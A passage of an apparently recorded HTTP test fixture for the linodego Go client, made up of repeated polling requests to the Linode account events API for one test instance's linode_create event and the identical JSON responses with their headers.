Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 